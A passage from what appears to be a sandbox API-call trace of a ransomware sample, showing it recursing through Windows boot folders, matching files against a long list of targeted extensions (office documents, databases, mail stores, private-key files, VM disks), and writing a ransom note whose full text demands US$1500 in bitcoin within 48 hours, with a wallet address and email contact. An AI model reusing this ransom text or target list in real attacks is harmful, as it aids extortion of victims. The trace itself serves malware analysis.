pszSpec="*.mdb") returned 0 [0125.093] lstrlenA (lpString="*.mdb") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.fdb") returned 0 [0125.093] lstrlenA (lpString="*.fdb") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.wab") returned 0 [0125.093] lstrlenA (lpString="*.wab") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.dat") returned 0 [0125.093] lstrlenA (lpString="*.dat") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.txt") returned 0 [0125.093] lstrlenA (lpString="*.txt") returned 5 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.jpeg") returned 0 [0125.093] lstrlenA (lpString="*.jpeg") returned 6 [0125.093] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.jpg") returned 0 [0125.093] lstrlenA (lpString="*.jpg") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.png") returned 0 [0125.094] lstrlenA (lpString="*.png") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.php") returned 0 [0125.094] lstrlenA (lpString="*.php") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.cs") returned 0 [0125.094] lstrlenA (lpString="*.cs") returned 4 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.cpp") returned 0 [0125.094] lstrlenA (lpString="*.cpp") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.rar") returned 0 [0125.094] lstrlenA (lpString="*.rar") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.zip") returned 0 [0125.094] lstrlenA (lpString="*.zip") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.html") returned 0 [0125.094] lstrlenA (lpString="*.html") returned 6 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.htm") returned 0 [0125.094] lstrlenA (lpString="*.htm") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.xlsx") returned 0 [0125.094] lstrlenA (lpString="*.xlsx") returned 6 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.xls") returned 0 [0125.094] lstrlenA (lpString="*.xls") returned 5 [0125.094] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.mp4") returned 0 [0125.094] lstrlenA (lpString="*.mp4") returned 5 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.ppt") returned 0 [0125.095] lstrlenA (lpString="*.ppt") returned 5 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.pptx") returned 0 [0125.095] lstrlenA (lpString="*.pptx") returned 6 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.doc") returned 0 [0125.095] lstrlenA (lpString="*.doc") returned 5 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.dot") returned 0 [0125.095] lstrlenA (lpString="*.dot") returned 5 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.docx") returned 0 [0125.095] lstrlenA (lpString="*.docx") returned 6 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.7z") returned 0 [0125.095] lstrlenA (lpString="*.7z") returned 4 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.tar") returned 0 [0125.095] lstrlenA (lpString="*.tar") returned 5 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.bz2") returned 0 [0125.095] lstrlenA (lpString="*.bz2") returned 5 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.gz") returned 0 [0125.095] lstrlenA (lpString="*.gz") returned 4 [0125.095] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.mkv") returned 0 [0125.095] lstrlenA (lpString="*.mkv") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.eml") returned 0 [0125.096] lstrlenA (lpString="*.eml") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.msg") returned 0 [0125.096] lstrlenA (lpString="*.msg") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.edb") returned 0 [0125.096] lstrlenA (lpString="*.edb") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.accdb") returned 0 [0125.096] lstrlenA (lpString="*.accdb") returned 7 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.odb") returned 0 [0125.096] lstrlenA (lpString="*.odb") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.java") returned 0 [0125.096] lstrlenA (lpString="*.java") returned 6 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.asm") returned 0 [0125.096] lstrlenA (lpString="*.asm") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.pfx") returned 0 [0125.096] lstrlenA (lpString="*.pfx") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.pem") returned 0 [0125.096] lstrlenA (lpString="*.pem") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.p12") returned 0 [0125.096] lstrlenA (lpString="*.p12") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.gpg") returned 0 [0125.096] lstrlenA (lpString="*.gpg") returned 5 [0125.096] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.vsd") returned 0 [0125.097] lstrlenA (lpString="*.vsd") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.odg") returned 0 [0125.097] lstrlenA (lpString="*.odg") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.raw") returned 0 [0125.097] lstrlenA (lpString="*.raw") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.nef") returned 0 [0125.097] lstrlenA (lpString="*.nef") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.svg") returned 0 [0125.097] lstrlenA (lpString="*.svg") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.psd") returned 0 [0125.097] lstrlenA (lpString="*.psd") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.vmx") returned 0 [0125.097] lstrlenA (lpString="*.vmx") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.vmdk") returned 0 [0125.097] lstrlenA (lpString="*.vmdk") returned 6 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.vdi") returned 0 [0125.097] lstrlenA (lpString="*.vdi") returned 5 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.lay6") returned 0 [0125.097] lstrlenA (lpString="*.lay6") returned 6 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.mpeg") returned 0 [0125.097] lstrlenA (lpString="*.mpeg") returned 6 [0125.097] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\nl-NL\\bootmgr.efi.mui", pszSpec="*.djvu") returned 0 [0125.097] lstrlenA (lpString="*.djvu") returned 6 [0125.098] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadebcea, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb4e9cfd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb50fe5a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.098] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.098] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0125.098] lstrcmpA (lpString1=".", lpString2="pl-PL") returned -1 [0125.098] lstrcmpA (lpString1="..", lpString2="pl-PL") returned -1 [0125.098] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.098] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="pl-PL" | out: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL") returned="C:\\Windows\\Boot\\EFI\\pl-PL" [0125.099] lstrlenA (lpString="C:\\Windows\\Boot\\EFI\\pl-PL") returned 25 [0125.099] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.099] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.099] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.099] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.099] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.099] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c15437, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8385861, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x788b0d14, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.099] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.100] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.100] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.100] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.100] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\pl-PL\\*.*") returned="*.*" [0125.100] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\pl-PL\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\") returned="C:\\Windows\\Boot\\EFI\\pl-PL\\" [0125.100] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\pl-PL\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\pl-PL\\") returned="" [0125.100] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt" [0125.100] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pl-pl\\how to decrypt files.txt")) returned 0xffffffff [0125.100] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\pl-PL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\pl-pl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.100] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.100] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.101] CloseHandle (hObject=0xffffffff) returned 0 [0125.101] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui" [0125.101] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.101] lstrlenA (lpString="*.ems") returned 5 [0125.101] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.db") returned 0 [0125.101] lstrlenA (lpString="*.db") returned 4 [0125.101] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.dbf") returned 0 [0125.101] lstrlenA (lpString="*.dbf") returned 5 [0125.101] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.myox") returned 0 [0125.101] lstrlenA (lpString="*.myox") returned 6 [0125.101] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.myo") returned 0 [0125.101] lstrlenA (lpString="*.myo") returned 5 [0125.101] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qbw") returned 0 [0125.101] lstrlenA (lpString="*.qbw") returned 5 [0125.101] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qbb") returned 0 [0125.101] lstrlenA (lpString="*.qbb") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qbm") returned 0 [0125.102] lstrlenA (lpString="*.qbm") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qbo") returned 0 [0125.102] lstrlenA (lpString="*.qbo") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qbx") returned 0 [0125.102] lstrlenA (lpString="*.qbx") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qba") returned 0 [0125.102] lstrlenA (lpString="*.qba") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qby") returned 0 [0125.102] lstrlenA (lpString="*.qby") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qbj") returned 0 [0125.102] lstrlenA (lpString="*.qbj") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.ofx") returned 0 [0125.102] lstrlenA (lpString="*.ofx") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.qif") returned 0 [0125.102] lstrlenA (lpString="*.qif") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.mye") returned 0 [0125.102] lstrlenA (lpString="*.mye") returned 5 [0125.102] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.mbox") returned 0 [0125.103] lstrlenA (lpString="*.mbox") returned 6 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0125.103] lstrlenA (lpString="*.eml") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.pst") returned 0 [0125.103] lstrlenA (lpString="*.pst") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.ost") returned 0 [0125.103] lstrlenA (lpString="*.ost") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.idx") returned 0 [0125.103] lstrlenA (lpString="*.idx") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.dbx") returned 0 [0125.103] lstrlenA (lpString="*.dbx") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.sql") returned 0 [0125.103] lstrlenA (lpString="*.sql") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.mdb") returned 0 [0125.103] lstrlenA (lpString="*.mdb") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.fdb") returned 0 [0125.103] lstrlenA (lpString="*.fdb") returned 5 [0125.103] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.wab") returned 0 [0125.104] lstrlenA (lpString="*.wab") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.dat") returned 0 [0125.104] lstrlenA (lpString="*.dat") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.txt") returned 0 [0125.104] lstrlenA (lpString="*.txt") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.jpeg") returned 0 [0125.104] lstrlenA (lpString="*.jpeg") returned 6 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.jpg") returned 0 [0125.104] lstrlenA (lpString="*.jpg") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.png") returned 0 [0125.104] lstrlenA (lpString="*.png") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.php") returned 0 [0125.104] lstrlenA (lpString="*.php") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.cs") returned 0 [0125.104] lstrlenA (lpString="*.cs") returned 4 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.cpp") returned 0 [0125.104] lstrlenA (lpString="*.cpp") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.rar") returned 0 [0125.104] lstrlenA (lpString="*.rar") returned 5 [0125.104] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.zip") returned 0 [0125.104] lstrlenA (lpString="*.zip") returned 5 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.html") returned 0 [0125.105] lstrlenA (lpString="*.html") returned 6 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.htm") returned 0 [0125.105] lstrlenA (lpString="*.htm") returned 5 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.xlsx") returned 0 [0125.105] lstrlenA (lpString="*.xlsx") returned 6 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.xls") returned 0 [0125.105] lstrlenA (lpString="*.xls") returned 5 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.mp4") returned 0 [0125.105] lstrlenA (lpString="*.mp4") returned 5 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.ppt") returned 0 [0125.105] lstrlenA (lpString="*.ppt") returned 5 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.pptx") returned 0 [0125.105] lstrlenA (lpString="*.pptx") returned 6 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.doc") returned 0 [0125.105] lstrlenA (lpString="*.doc") returned 5 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.dot") returned 0 [0125.105] lstrlenA (lpString="*.dot") returned 5 [0125.105] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.docx") returned 0 [0125.106] lstrlenA (lpString="*.docx") returned 6 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.7z") returned 0 [0125.106] lstrlenA (lpString="*.7z") returned 4 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.tar") returned 0 [0125.106] lstrlenA (lpString="*.tar") returned 5 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.bz2") returned 0 [0125.106] lstrlenA (lpString="*.bz2") returned 5 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.gz") returned 0 [0125.106] lstrlenA (lpString="*.gz") returned 4 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.mkv") returned 0 [0125.106] lstrlenA (lpString="*.mkv") returned 5 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0125.106] lstrlenA (lpString="*.eml") returned 5 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.msg") returned 0 [0125.106] lstrlenA (lpString="*.msg") returned 5 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.edb") returned 0 [0125.106] lstrlenA (lpString="*.edb") returned 5 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.accdb") returned 0 [0125.106] lstrlenA (lpString="*.accdb") returned 7 [0125.106] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.odb") returned 0 [0125.106] lstrlenA (lpString="*.odb") returned 5 [0125.107] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\pl-PL\\bootmgfw.efi.mui", pszSpec="*.java") returned 0 [0125.107] lstrlenA (lpString="*.java") returned 6 [0125.107] PathMatchSpecA 